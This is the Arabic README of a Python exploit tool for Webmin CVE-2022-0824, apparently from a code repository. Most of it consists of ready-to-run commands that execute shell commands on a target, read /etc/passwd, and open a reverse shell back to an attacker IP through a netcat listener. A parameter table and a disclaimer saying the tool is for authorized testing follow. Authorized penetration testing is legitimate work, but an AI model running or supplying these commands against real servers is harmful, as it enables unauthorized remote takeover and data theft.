
استغلال Python لثغرة Webmin CVE-2022-0824 مع دعم الوضع المزدوج: تنفيذ الأوامر مباشرة وصدفة عكسية. يوفر أنواعاً متعددة من الحمولات، وإدارة ذكية للملفات، وتسجيلاً تفصيلياً لتصحيح الأخطاء لاختبارات الأمان المصرح بها.
[!IMPORTANT]
أداة استغلال محسّنة لثغرة Webmin CVE-2022-0824 - تدعم وضعي تنفيذ الأوامر والـ Reverse Shell
[!IMPORTANT]
أداة استغلال محسّنة لثغرة Webmin CVE-2022-0824، تدعم وضعي تنفيذ الأوامر المباشر والـ Reverse Shell.
# Python 3.6+
pip3 install requests urllib3
# تنفيذ أمر أساسي
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# عرض معلومات النظام
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# سرد الملفات
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# عرض ملف حساس
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# معلومات الشبكة
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
# 1. تشغيل المستمع
nc -nlvp 9999
# 2. تنفيذ الاستغلال
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
*ملاحظة: مطلوب في وضع Reverse Shell
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها والأغراض التعليمية.
نرحب بتقديم المشكلات (Issues) وطلبات السحب (Pull Requests)!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل
إذا كانت لديك أسئلة أو اقتراحات، يرجى التواصل عبر:
⭐ إذا كان هذا المشروع مفيدًا لك، يرجى دعمه بنجمة (Star)!
requests>=2.25.1
urllib3>=1.26.0
| المعامل | الوصف | مطلوب | مثال |
|---|
-t, --target | عنوان URL الخاص بـ Webmin المستهدف | ✅ | http://192.168.1.100:10000/ |
-c, --credential | بيانات تسجيل الدخول | ✅ | admin:password |
-LS, --py3http_server | عنوان خادم HTTP | ✅ | 192.168.1.50:8080 |
--shell | الأمر المراد تنفيذه | ❌ | "ls -la" |
-L, --callback_ip | عنوان IP للاتصال الراجع في Reverse Shell | ❌* | 192.168.1.50 |
-P, --callback_port | منفذ الاتصال الراجع في Reverse Shell | ❌* | 9999 |